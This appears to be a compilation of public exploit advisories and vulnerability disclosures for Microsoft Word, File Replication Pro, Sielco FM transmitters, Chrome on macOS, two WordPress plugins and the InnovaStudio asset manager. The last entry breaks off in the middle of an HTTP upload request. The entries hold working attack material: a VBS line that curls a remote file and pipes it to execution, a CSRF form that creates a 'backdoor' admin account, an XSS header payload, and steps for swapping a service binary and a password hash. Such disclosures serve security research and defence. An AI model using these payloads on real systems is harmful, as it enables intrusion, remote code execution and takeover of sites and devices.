<pre><code>## Title: Microsoft Word Remote Code Execution Vulnerability<br />## Author: nu11secur1ty<br />## Date: 04.14.2023<br />## Vendor: https://www.microsoft.com/<br />## Software:<br />https://www.microsoft.com/en-us/microsoft-365/word?activetab=tabs%3afaqheaderregion3<br />## Reference:<br />https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/<br />## CVE-2023-28311<br /><br />## Description:<br />The attack itself is carried out locally by a user with authentication to<br />the targeted system. An attacker could exploit the vulnerability by<br />convincing a victim, through social engineering, to download and open a<br />specially crafted file from a website which could lead to a local attack on<br />the victim's computer. The attacker can trick the victim to open a<br />malicious web page by using a `Word` malicious file and he can steal<br />credentials, bank accounts information, sniffing and tracking all the<br />traffic of the victim without stopping - it depends on the scenario and etc.<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Exploit:<br />The exploit server must be BROADCASTING at the moment when the victim hit<br />the button of the exploit!<br /><br />```vbs<br /> Call Shell("cmd.exe /S /c" & "curl -s<br />http://tarator.com/ChushkI/ebanie.tarator | tarator", vbNormalFocus)<br />```<br /><br />## Reproduce:<br />[href](<br />https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28311)<br /><br />## Reference:<br />[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28311)<br /><br />[href](<br />https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/)<br /><br />## Proof and Exploit<br />[href](https://streamable.com/s60x3k)<br /><br />## Time spend:<br />01:00:00<br /><br /><br /></code></pre>
<pre><code># Exploit Title: File Replication Pro 7.5.0 - Password disclosure/reset & PrivEsc due Incorrect Access Control<br /># Date: 2023-04-13<br /># Exploit Author: Andrea Intilangelo<br /># Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com<br /># Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe<br /># Version: 7.5.0<br /># Tested on: Windows 10 Pro 22H2 x64<br /># CVE: CVE-2023-26918<br /><br />Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by<br />replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.<br /><br />C:\Program Files>icacls "c:\Program Files\FileReplicationPro"<br />c:\Program Files\FileReplicationPro Everyone:(F)<br /> Everyone:(OI)(CI)(IO)(F)<br /><br />C:\Users\Administrator>sc qc frp<br />[SC] QueryServiceConfig OPERAZIONI RIUSCITE<br /><br />NOME_SERVIZIO: frp<br /> TIPO : 10 WIN32_OWN_PROCESS<br /> TIPO_AVVIO : 2 AUTO_START<br /> CONTROLLO_ERRORE : 1 NORMAL<br /> NOME_PERCORSO_BINARIO : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp<br /> GRUPPO_ORDINE_CARICAMENTO :<br /> TAG : 0<br /> NOME_VISUALIZZATO : FRPReplicationServer<br /> DIPENDENZE : Tcpip<br /> : Afd<br /> SERVICE_START_NAME : LocalSystem<br /><br />To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs<br />with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full<br />access permissions.<br /><br />Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote<br />access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting<br />a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface.<br /></code></pre>
<pre><code><!--<br /><br />Sielco Analog FM Transmitter 2.12 Cross-Site Request Forgery<br /><br /><br />Vendor: Sielco S.r.l<br />Product web page: https://www.sielco.org<br />Affected version: 2.12 (EXC5000GX)<br /> 2.12 (EXC120GX)<br /> 2.11 (EXC300GX)<br /> 2.10 (EXC1600GX)<br /> 2.10 (EXC2000GX)<br /> 2.08 (EXC1600GX)<br /> 2.08 (EXC1000GX)<br /> 2.07 (EXC3000GX)<br /> 2.06 (EXC5000GX)<br /> 1.7.7 (EXC30GT)<br /> 1.7.4 (EXC300GT)<br /> 1.7.4 (EXC100GT)<br /> 1.7.4 (EXC5000GT)<br /> 1.6.3 (EXC1000GT)<br /> 1.5.4 (EXC120GT)<br /><br />Summary: Sielco designs and produces FM radio transmitters<br />for professional broadcasting. The in-house laboratory develops<br />standard and customised solutions to meet all needs. Whether<br />digital or analogue, each product is studied to ensure reliability,<br />resistance over time and a high standard of safety. Sielco<br />transmitters are distributed throughout the world and serve<br />many radios in Europe, South America, Africa, Oceania and China.<br /><br />Desc: The application interface allows users to perform certain<br />actions via HTTP requests without performing any validity checks<br />to verify the requests. This can be exploited to perform certain<br />actions with administrative privileges if a logged-in user visits<br />a malicious web site.<br /><br />Tested on: lwIP/2.1.1<br /> Web/3.0.3<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5757<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5757.php<br /><br /><br />26.01.2023<br /><br />--><br /><br /><br />CSRF Add Admin:<br />---------------<br /><br /><html><br /> <body><br /> <form action="http://transmitter/protect/users.htm" method="POST"><br /> <input type="hidden" name="pwd0" value="" /><br /> <input type="hidden" name="pwd0bis" value="" /><br /> <input type="hidden" name="user1" value="" /><br /> <input type="hidden" name="pwd1" value="" /><br /> <input type="hidden" name="pwd1bis" value="" /><br /> <input type="hidden" name="auth1" value="" /><br /> <input type="hidden" name="user2" value="" /><br /> <input type="hidden" name="pwd2" value="" /><br /> <input type="hidden" name="pwd2bis" value="" /><br /> <input type="hidden" name="auth2" value="" /><br /> <input type="hidden" name="user3" value="backdoor" /><br /> <input type="hidden" name="pwd3" value="backdoor123" /><br /> <input type="hidden" name="pwd3bis" value="backdoor123" /><br /> <input type="hidden" name="auth3" value="2" /><br /> <input type="submit" value="Adminize!" /><br /> </form><br /> </body><br /></html><br /></code></pre>
<pre><code><br />Sielco Analog FM Transmitter 2.12 'id' Cookie Brute Force Session Hijacking<br /><br /><br />Vendor: Sielco S.r.l<br />Product web page: https://www.sielco.org<br />Affected version: 2.12 (EXC5000GX)<br /> 2.12 (EXC120GX)<br /> 2.11 (EXC300GX)<br /> 2.10 (EXC1600GX)<br /> 2.10 (EXC2000GX)<br /> 2.08 (EXC1600GX)<br /> 2.08 (EXC1000GX)<br /> 2.07 (EXC3000GX)<br /> 2.06 (EXC5000GX)<br /> 1.7.7 (EXC30GT)<br /> 1.7.4 (EXC300GT)<br /> 1.7.4 (EXC100GT)<br /> 1.7.4 (EXC5000GT)<br /> 1.6.3 (EXC1000GT)<br /> 1.5.4 (EXC120GT)<br /><br />Summary: Sielco designs and produces FM radio transmitters<br />for professional broadcasting. The in-house laboratory develops<br />standard and customised solutions to meet all needs. Whether<br />digital or analogue, each product is studied to ensure reliability,<br />resistance over time and a high standard of safety. Sielco<br />transmitters are distributed throughout the world and serve<br />many radios in Europe, South America, Africa, Oceania and China.<br /><br />Desc: The Cookie session ID 'id' is of an insufficient length and<br />can be exploited by brute force, which may allow a remote attacker<br />to obtain a valid session, bypass authentication and manipulate<br />the transmitter.<br /><br />Tested on: lwIP/2.1.1<br /> Web/3.0.3<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5758<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5758.php<br /><br /><br />26.01.2023<br /><br />--<br /><br /><br /># Session values (len=5)<br /><br />Cookie: id=44189<br />Cookie: id=37692<br />Cookie: id=+6638<br />Cookie: id=+3077<br />...<br />...<br /></code></pre>
<pre><code><br />Google Chrome Browser 111.0.5563.64 AXPlatformNodeCocoa Fatal OOM/Crash (macOS)<br /><br /><br />Vendor: Google LLC<br />Product web page: https://www.google.com<br />Affected version: 111.0.5563.64 (Official Build) (x86_64)<br /> 110.0.5481.100 (Official Build) (x86_64)<br /> 108.0.5359.124 (Official Build) (x86_64)<br /> 108.0.5359.98 (Official Build) (x86_64)<br />Fixed version: 112.0.5615.49 (Official Build) (x86_64)<br /><br />Summary: Google Chrome browser is a free web browser used for<br />accessing the internet and running web-based applications. The<br />Google Chrome browser is based on the open source Chromium web<br />browser project. Google released Chrome in 2008 and issues several<br />updates a year.<br /><br />Desc: Fatal OOM/crash of Chrome browser while detaching/attaching<br />tabs on macOS.<br /><br />Commit fix:<br /><br />"The original cl landed many months ago, but<br />chrome/browser/ui/views/frame/browser_non_client_frame_view_mac.mm<br />is the only change that didn't revert cleanly."<br /><br />macOS a11y: Implement accessibilityHitTest for remote app shims (PWAs)<br /><br />Implements accessibility hit testing for RemoteCocoa so that Hover Text<br />and VoiceOver mouse mode can read the accessible objects under the<br />user's pointer. Cross-process plumbing was needed because RemoteCocoa<br />bridges to native controls in a separate app shim process and must<br />report accessibility trees from the browser process via the<br />undocumented NSAccessibilityRemoteUIElement mechanism.<br /><br />This CL does the following:<br /><br />1. Unblocks remote accessibilityHitTest by calling setRemoteUIApp:YES<br /> in the browser process. This enables the browser process to accept<br /> redirected accessibilityHitTest calls to the object corresponding to<br /> any NSAccessibilityRemoteUIElement returned by the original<br /> accessibilityHitTest at the app shim process.<br /><br />2. (For Browser UI) Overrides NativeWidgetMacNSWindowTitledFrame's<br /> accessibilityHitTest to have a custom implementation with<br /> NSAccessibilityRemoteUIElement support so that custom window<br /> controls can be found. Additionally, adjusts the BrowserView bounds<br /> so that AXPlatformNodeCocoa's accessibilityHitTest (which doesn't<br /> support view targeting) can return controls in the web app frame<br /> toolbar.<br /><br />3. (For Web Content) Implements RenderWidgetHostViewCocoa's<br /> accessibilityHitTest for instances in the app shim to return a<br /> NSAccessibilityRemoteUIElement corresponding to their counterparts<br /> in the browser process so that web content objects can be found.<br /><br /><br />Tested on: macOS 12.6.1 (Monterey)<br /> macOS 13.3.1 (Ventura)<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5770<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5770.php<br /><br /><br />08.12.2022<br /><br />--<br /><br /><br />UI PoC:<br />-------<br />1. Grab a tab and detach it.<br />2. Bring back the tab.<br />3. Do this 2-3 times attaching / re-attaching the tab.<br />4. Chrome will hang (100% CPU) / Out-of-Memory (OOM) for 7-8 minutes.<br />5. Process crashes entirely.<br /><br />Ref: Issue 1400682 (Ticket created: Dec 13, 2022)<br />Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=1400682<br />Ref: https://chromium-review.googlesource.com/c/chromium/src/+/3861171<br />Ref: axtester.mm terminal PoC by xi.ch...@gmail.com (https://bugs.chromium.org/u/161486905)<br /><br />=============<br />//<br />// Copyright (c) Microsoft Corporation. All rights reserved.<br />//<br /><br />#include <ApplicationServices/ApplicationServices.h><br /><br />#include <iostream><br />#include <sstream><br />#include <vector><br /><br />__BEGIN_DECLS<br /> // NOLINTNEXTLINE<br /> AXError _AXUIElementGetWindow(AXUIElementRef, CGWindowID *);<br /> // NOLINTNEXTLINE<br /> CFTypeID AXTextMarkerGetTypeID();<br />__END_DECLS<br /><br />std::ostream& bold_on(std::ostream& os)<br />{<br /> if (isatty(STDOUT_FILENO))<br /> {<br /> return os << "\e[1m";<br /> }<br /> return os;<br />}<br /><br />std::ostream& bold_off(std::ostream& os)<br />{<br /> if (isatty(STDOUT_FILENO))<br /> {<br /> return os << "\e[0m";<br /> }<br /> return os;<br />}<br /><br />std::string from_cfstr(CFTypeRef cf_ref)<br />{<br /> if (cf_ref != nullptr && CFGetTypeID(cf_ref) == CFStringGetTypeID())<br /> {<br /> const auto cf_str = static_cast<CFStringRef>(cf_ref);<br /> const auto max_length = static_cast<size_t>(CFStringGetMaximumSizeForEncoding(<br /> CFStringGetLength(cf_str), kCFStringEncodingUTF8)) + 1;<br /><br /> auto result = std::string(max_length, '\0');<br /> if (CFStringGetCString(cf_str, result.data(), static_cast<CFIndex>(max_length), kCFStringEncodingUTF8))<br /> {<br /> if (const auto pos = result.find('\0'); pos != std::string::npos)<br /> {<br /> result.resize(pos);<br /> }<br /> return result;<br /> }<br /> }<br /> return {};<br />}<br /><br />std::string ax_element_id(AXUIElementRef value)<br />{<br /> // AX element cache - AX elements are backed by CFData<br /> // (referring to 'remote' AX objects) and this data is<br /> // 'stable' across 'volatile' instances of AXUIElement.<br /> // 'hash and equality' of AX elements are based on this<br /> // data and therefore, we can use AXUIElement objects as<br /> // 'keys' in a dictionary with values, identifying these<br /> // objects (uniquely).<br /> const static auto ax_elements = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,<br /> &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);<br /><br /> auto ax_id = CFDictionaryGetValue(ax_elements, value);<br /><br /> if (ax_id == nullptr)<br /> {<br /> if (const auto uuid = CFUUIDCreate(kCFAllocatorDefault))<br /> {<br /> if (const auto uuid_s = CFUUIDCreateString(kCFAllocatorDefault, uuid))<br /> {<br /> CFDictionarySetValue(ax_elements, value, uuid_s);<br /><br /> CFRelease(uuid_s);<br /> }<br /> CFRelease(uuid);<br /> }<br /><br /> ax_id = CFDictionaryGetValue(ax_elements, value);<br /> }<br /><br /> return from_cfstr(ax_id);<br />}<br /><br />template <typename T><br />T ax_attribute_value(AXUIElementRef e, CFStringRef name)<br />{<br /> if (e != nullptr)<br /> {<br /> auto ref = T{};<br /> if (AXUIElementCopyAttributeValue(e, name, (CFTypeRef *) &ref) == kAXErrorSuccess)<br /> {<br /> return ref;<br /> }<br /> }<br /> return nullptr;<br />}<br /><br />// NOLINTNEXTLINE<br />void ax_traverse(AXUIElementRef elem, uint32_t depth)<br />{<br /> const auto max_depth = 10;<br /> if (depth > max_depth)<br /> {<br /> return;<br /> }<br /><br /> const auto indent = [&]()<br /> {<br /> for (auto x = 0; x < depth; x++)<br /> {<br /> std::cout << " ";<br /> }<br /> };<br /><br /> auto wid = CGWindowID{};<br /> if (_AXUIElementGetWindow(elem, &wid) != kAXErrorSuccess)<br /> {<br /> wid = 0;<br /> }<br /><br /> indent();<br /> const auto role = ax_attribute_value<CFTypeRef>(elem, kAXRoleAttribute);<br /><br /> std::cout << bold_on << "[*** DEPTH: " << depth << ", ROLE: " << from_cfstr(role) <<<br /> ", ID: " << ax_element_id(elem) << ", WINDOW: " << wid << " ***]" << bold_off <<<br /> std::endl;<br /><br /> if (const auto children = ax_attribute_value<CFArrayRef>(elem, kAXChildrenAttribute))<br /> {<br /> for (CFIndex idx = 0; idx < CFArrayGetCount(children); idx++)<br /> {<br /> const auto element = static_cast<AXUIElementRef>(CFArrayGetValueAtIndex(children, idx));<br /> ax_traverse(element, depth + 1);<br /> }<br /> CFRelease(children);<br /> }<br />}<br /><br />int main(int argc, char* const argv[])<br />{<br /> auto pid = 0;<br /><br /> if (argc > 1)<br /> {<br /> if (!AXIsProcessTrusted())<br /> {<br /> std::cerr << "Please 'AX approve' Terminal in System Preferences" << std::endl;<br /> exit(1); // NOLINT<br /> }<br /> // NOLINTNEXTLINE<br /> pid = std::stoi(argv[1]);<br /> }<br /> else<br /> {<br /> std::cerr << "usage: axtester <pid>" << std::endl;<br /> exit(1); // NOLINT<br /> }<br /><br /> if (const auto app = AXUIElementCreateApplication(pid))<br /> {<br /> auto observer = AXObserverRef{};<br /> auto ret = AXObserverCreate(pid, [](auto /*unused*/, AXUIElementRef /*unused*/, CFStringRef name, auto ctx)<br /> {<br /> auto myapp = (__AXUIElement*)(ctx);<br /> auto hint = CFStringGetCStringPtr(name,kCFStringEncodingUTF8);<br /> std::cout << "Hint: " << hint << std::endl;<br /> ax_traverse(myapp, 0);<br /> }, &observer);<br /><br /> if (kAXErrorSuccess != ret)<br /> {<br /> std::cerr << "Fail to create observer" << std::endl;<br /> return -1;<br /> }<br /><br /> std::cout << "title:" << AXObserverAddNotification(observer, app, kAXTitleChangedNotification, (void*)app) << std::endl;<br /> std::cout << "focus_window:" << AXObserverAddNotification(observer, app, kAXFocusedWindowChangedNotification, (void*)app) << std::endl;<br /> std::cout << "focus_element:" << AXObserverAddNotification(observer, app, kAXFocusedUIElementChangedNotification, (void*)app) << std::endl;<br /> std::cout << "move:" << AXObserverAddNotification(observer, app, kAXWindowMovedNotification, (void*)app) << std::endl;<br /> std::cout << "resize:" << AXObserverAddNotification(observer, app, kAXWindowResizedNotification, (void*)app) << std::endl;<br /> std::cout << "deminiaturized:" << AXObserverAddNotification(observer, app, kAXWindowDeminiaturizedNotification, (void*)app) << std::endl;<br /> std::cout << "miniaturize:" << AXObserverAddNotification(observer, app, kAXWindowMiniaturizedNotification, (void*)app) << std::endl;<br /> CFRunLoopAddSource(CFRunLoopGetCurrent(), AXObserverGetRunLoopSource(observer), kCFRunLoopDefaultMode);<br /> CFRunLoopRun();<br /> }<br /><br /> return 0;<br />}<br /><br />--codeaibot explains--<br /><br />This is a C++ program that uses the Accessibility API (AX) provided<br />by macOS to traverse the user interface of a running application and<br />print out information about the accessibility elements that it finds.<br /><br />The program takes a single argument, which is the process ID (PID) of<br />the application to examine. If no argument is provided, the program<br />displays a usage message and exits.<br /><br />The main() function first checks if the Terminal app has been granted<br />accessibility privileges by calling the AXIsProcessTrusted() function.<br />If it hasn't, the program displays an error message and exits.<br /><br />If the Terminal app has been granted accessibility privileges, the program<br />creates an AXUIElementRef object for the application using the AXUIElementCreateApplication()<br />function, passing in the PID as an argument.<br /><br />The ax_traverse() function is then called with the root accessibility<br />element of the application as an argument. This function recursively<br />traverses the accessibility tree of the application, printing out<br />information about each element it encounters.<br /><br />The program also defines several helper functions for working with Core<br />Foundation types (from_cfstr(), ax_element_id(), and ax_attribute_value()),<br />as well as some functions for printing formatted output to the console<br />(bold_on() and bold_off()).<br /><br />-- / --<br /><br />As this issue is not a security issue nor results in security consequences,<br />this report is not eligible for a VRP reward.<br /><br />++<br />Thank you Amy!<br />--<br /></code></pre>
<pre><code>The Wordfence team responsibly disclosed an authenticated Privilege Escalation vulnerability in the WP Data Access plugin.<br /><br />On April 5, 2023 the Wordfence Threat Intelligence team initiated the responsible disclosure process for a vulnerability we discovered in WP Data Access, a WordPress plugin that is installed on over 10,000 sites. This flaw makes it possible for an authenticated attacker to grant themselves administrative privileges via a profile update, if the targeted site has the ‘Role Management’ setting enabled.<br /><br />Wordfence Premium, Care, and Response users received a firewall rule to protect against any exploits targeting this vulnerability on April 5, 2023. Sites still using the free version of Wordfence will receive the same protection on May 5, 2023. We performed our initial outreach to the developer on April 5, 2023, the same day we discovered the vulnerability. We received a response the same day and sent over the full details. The developer released a patch swiftly the next day on April 6, 2023.<br /><br />We’d like to say a special thanks to the lead developer of WP Data Access, Peter Schulz, who provided an exemplary example of how security issues should be handled by responding immediately and releasing a patch the next day.<br /><br />We strongly recommend ensuring that your site has been updated to the latest patched version of WP Data Access, which is version 5.3.8 at the time of this publication.<br /><br />This email content has also been published on our blog and you're welcome to post a comment there if you'd like to join the conversation. Or you can read the full post in this email.<br /><br />Vulnerability Summary From Wordfence Intelligence<br /><br />Description: WP Data Access <= 5.3.7 – Authenticated (Subscriber+) Privilege Escalation <br /><br />Affected Plugin: WP Data Access<br /><br />Plugin Slug: wp-data-access<br /><br />Affected Versions: <= 5.3.7<br /><br />CVE ID: CVE-2023-1874<br /><br />CVSS Score: 7.5 (High)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher/s: Chloe Chamberland <br /><br />Fully Patched Version: 5.3.8<br /><br />The WP Data Access plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.3.7. This is due to a lack of authorization checks on the multiple_roles_update function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the ‘wpda_role[]‘ parameter during a profile update. This requires the ‘Enable role management’ setting to be enabled for the site.<br /><br />Vulnerability Analysis<br /><br />WP Data Access is a WordPress plugin designed to make data table creation in WordPress more intuitive and easier to manage for site owners. One feature of the plugin is the ability to enable role management, which makes it possible for a site owner to create custom roles and assign multiple roles to different users. Unfortunately, this functionality was insecurely implemented making it possible for authenticated users to assign any role to themselves, including the administrative role.<br /><br />Taking a closer look at the code, we see that the ‘multiple_roles_update‘ function used to assign a user’s new roles upon updating a profile is hooked via ‘’profile_update‘’. This hook is triggered immediately after any user profile is updated and it does not perform any sort of authorization checks on the user performing the action. As such, this means that any update to a user’s profile, including on the profile.php page, will invoke the hooked function ‘multiple_roles_update‘.<br /><br />This makes it possible for any authenticated users with an account, such as subscribers, to invoke the ‘multiple_roles_update‘ function.<br /><br />$this->loader->add_action( 'profile_update', $wpda_roles, 'multiple_roles_update' );<br /><br />If the associated function had a capability check, then it may have prevented these users from fully executing the function, however, that was not the case. Reviewing the hooked function, we see a check verifying that the role management setting is enabled, but nothing more. The function then determines the user and looks for the ‘wpda_role‘ array parameter from a given request. If present, it will process the supplied roles and add the role and applicable permissions to the user retrieved in the first step.<br /><br />This made it possible for authenticated users, such as a subscriber, making profile updates to supply the ‘wpda_role‘ array parameter with any desired roles, such as administrator, during a profile update that would be granted immediately upon save of the profile updates.<br /><br />[Code snippet can be found on the blog] <br /><br />As with any Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, and modifying posts and pages which can be leveraged to redirect site users to other malicious sites.<br /><br />Disclosure Timeline<br /><br />April 5, 2023 – Discovery of the Privilege Escalation vulnerability in WP Data Access. Wordfence Premium, Care, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability.<br /><br />April 5, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.<br /><br />April 5, 2023 – The vendor confirms the inbox for handling the discussion.<br /><br />April 5, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.<br /><br />April 6, 2023 – A fully patched version of the plugin, 5.3.8, is released.<br /><br />May 5, 2023 – Wordfence free users receive the firewall rule.<br /><br />Conclusion<br /><br />In today’s post, we detailed a flaw in the WP Data Access plugin that enabled authenticated attackers, with at least subscriber-level access to a site, to elevate their privileges to that of a site administrator which could ultimately lead to complete site compromise. This flaw has been fully patched in version 5.3.8.<br /><br />We recommend that WordPress users immediately verify that their site has been updated to the latest patched version available, which is version 5.3.8 at the time of this publication.<br /><br />Wordfence Premium, Care, and Response users received a firewall rule to protect against any exploits targeting this vulnerability on April 5, 2023. Sites still using the free version of Wordfence will receive the same protection on May 5, 2023.<br /><br />If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a serious vulnerability that can lead to a complete site takeover.<br /><br />If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.<br /><br /></code></pre>
<pre><code>On January 26, 2023, the Wordfence team responsibly disclosed an unauthenticated stored Cross-Site Scripting vulnerability in Limit Login Attempts, a WordPress plugin installed on over 600,000 sites that provides site owners with the ability to block IP addresses that have made repeated failed login attempts.<br /><br />The plugin is vulnerable in versions up to, and including, 1.7.1. A patch addressing this vulnerability was released on April 4, 2023 as version 1.7.2. We recommend all site owners update to version 1.7.2 as soon as possible.<br /><br />All Wordfence Premium, Wordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall against any exploits targeting this vulnerability.<br /><br />This email content has also been published on our blog and you're welcome to post a comment there if you'd like to join the conversation. Or you can read the full post in this email.<br /><br />Vulnerability Summary<br /><br />Description: Limit Login Attempts <= 1.7.1 – Unauthenticated Stored Cross-Site Scripting <br /><br />Affected Plugin: Limit Login Attempts<br /><br />Plugin Slug: limit-login-attempts<br /><br />Affected Versions: <= 1.7.1<br /><br />CVE ID: CVE-2023-1912<br /><br />CVSS Score: 7.2 (High)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N<br /><br />Researcher/s: Marco Wotschka <br /><br />Fully Patched Version: 1.7.2<br /><br />Vulnerability Details<br /><br />The Limit Login Attempts plugin offers some simple configuration options. These include a maximum number of login retries, lockout duration, lockout expiration times as well as some logging and notification options. The vulnerability, assigned CVE-2023-1912, requires a specific configuration: the site connection option must be set to “From behind a reversy [sic] proxy” and logging of IP addresses on lockout must be enabled.<br /><br />limit-login-attempts-config-page <br /><br />With the reverse proxy detection option enabled, the plugin uses the X-Forwarded-For header to determine the visitor’s IP address. While this HTTP header is spoofable, the plugin does offer its use as an alternative for those who are behind a load balancer or cache handler. It does not use this setting by default.<br /><br />With the plugin’s logging feature enabled, login blocks are logged and displayed on the configuration page. The following code accomplishes this (slightly edited for legibility).<br /><br />limit-login-attempts-vuln-code <br /><br />As can be seen, this function assembles a table of information but does not escape the values it uses. While sanitization is recommended as input is received, escaping output, even if it is already sanitized, is a far more effective tool in preventing Cross-Site Scripting. Unfortunately, this plugin was not utilizing either sanitization or escaping of the stored IP value that could be supplied via the X-Forwarded-For: header.<br /><br />To exploit this vulnerability, an attacker could send a login request with the following X-Forwarded-For header set:<br /><br />X-Forwarded-For: <span onmouseover=alert(1)>23.23.23.23</span><br /><br />This header can be set via many methods, such as through a browser plugin or by intercepting the login request and adding it manually. Once the plugin’s blocking threshold is met, it will record the above code as the blocked IP and execute the malicious JavaScript code when an administrator visits the configuration page where the list of blocked IP addresses is displayed. This malicious code is executed under the authentication of an administrator and can be utilized to help facilitate a site takeover.<br /><br />Cross-Site Scripting Vulnerabilities are the result of missing sanitization and unescaped display of user input. Most commonly, we see user input that is exploitable to Cross-Site Scripting collected via a form. In this vulnerability, the processed information is still provided by a user, but collected via a different and more unusual route which is why proper sanitization and escaping may have been missed.<br /><br />Timeline<br /><br />January 26, 2023 – We reached out directly to the WordPress Plugin Security Team as no contact information was readily available for the developer of the plugin.<br /><br />March 24, 2023 – The WordPress Plugin Security Team team acknowledges receipt of our report.<br /><br />April 4, 2023 – Version 1.7.2 addresses this issue.<br /><br />Conclusion<br /><br />In today’s post, we covered an unauthenticated Cross-Site Scripting vulnerability via the X-Forwarded-For header in the Limit Login Attempts plugin. This can be leveraged by unauthenticated attackers to facilitate a site takeover by injecting malicious JavaScript into the database of an affected site that may execute when a site administrator accesses the logging page.<br /><br />Again, all Wordfence Premium, Wordfence Care, and Wordfence Response customers, along with those still using the free version of the plugin, are protected by the Wordfence firewall for any exploits targeting this vulnerability.<br /><br />Special Note: We independently discovered this vulnerability in January while reviewing a vulnerability in another plugin. We followed our responsible disclosure process and reported it to the WordPress Plugin Security Team, ensured it got patched, and published it to our vulnerability database once a patch was released. After adding the vulnerability to our database, we were made aware of another unnamed security researcher who also discovered this issue and publicly disclosed details about this vulnerability five years ago without ensuring the vulnerability got patched, which does not follow standard practice. Regardless, we would like to make mention of this so the other researcher who also found the vulnerability receives credit.<br /><br />If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest version of Limit Login Attempts as soon as possible.<br /><br />If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence leaderboard.<br /><br /></code></pre>
<pre><code># Exploit Title: InnovaStudio WYSIWYG Editor 5.4 (ASSET MANAGER) Unrestricted File Upload / Directory Traversal / Multiple WebApps Exploit<br /># Date: 11/04/2023<br /># Exploit Author: Zer0FauLT [admindeepsec@proton.me]<br /># Vendor Homepage: innovastudio.com<br /># Product: Asset Manager<br /># Version: <= Asset Manager ASP Version 5.4<br /># Tested on: Windows 10 and Windows Server 2019<br /># CVE : 0DAY<br /><br />##################################################################################################<br /># #<br /># ASP version, in i_upload_object_FSO.asp, line 234 #<br /># #<br /># oUpload.AllowedTypes = "gif|jpg|png|wma|wmv|swf|doc|zip|pdf|txt" #<br /># #<br />##################################################################################################<br />||==============================================================================||<br />|| ((((1)))) ||<br />|| ||<br />|| ...:::We Trying Upload ASP-ASPX-PHP-CER-OTHER SHELL FILE EXTENSIONS:::... ||<br />||==============================================================================||<br />##################################################################################################<br />" "<br />" FILE PERMISSIONS : [ 0644 ] "<br />" "<br />" DIR PERMISSIONS : [ 0755 ] "<br />" "<br />" UPLOAD FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] "<br />" "<br />##################################################################################################<br /><br />==================================================================================================<br /><br />POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2<br />Host: www.pentest.com<br />Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG<br />Content-Length: 473<br />Cache-Control: max-age=0<br />Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: https://www.pentest.com<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: 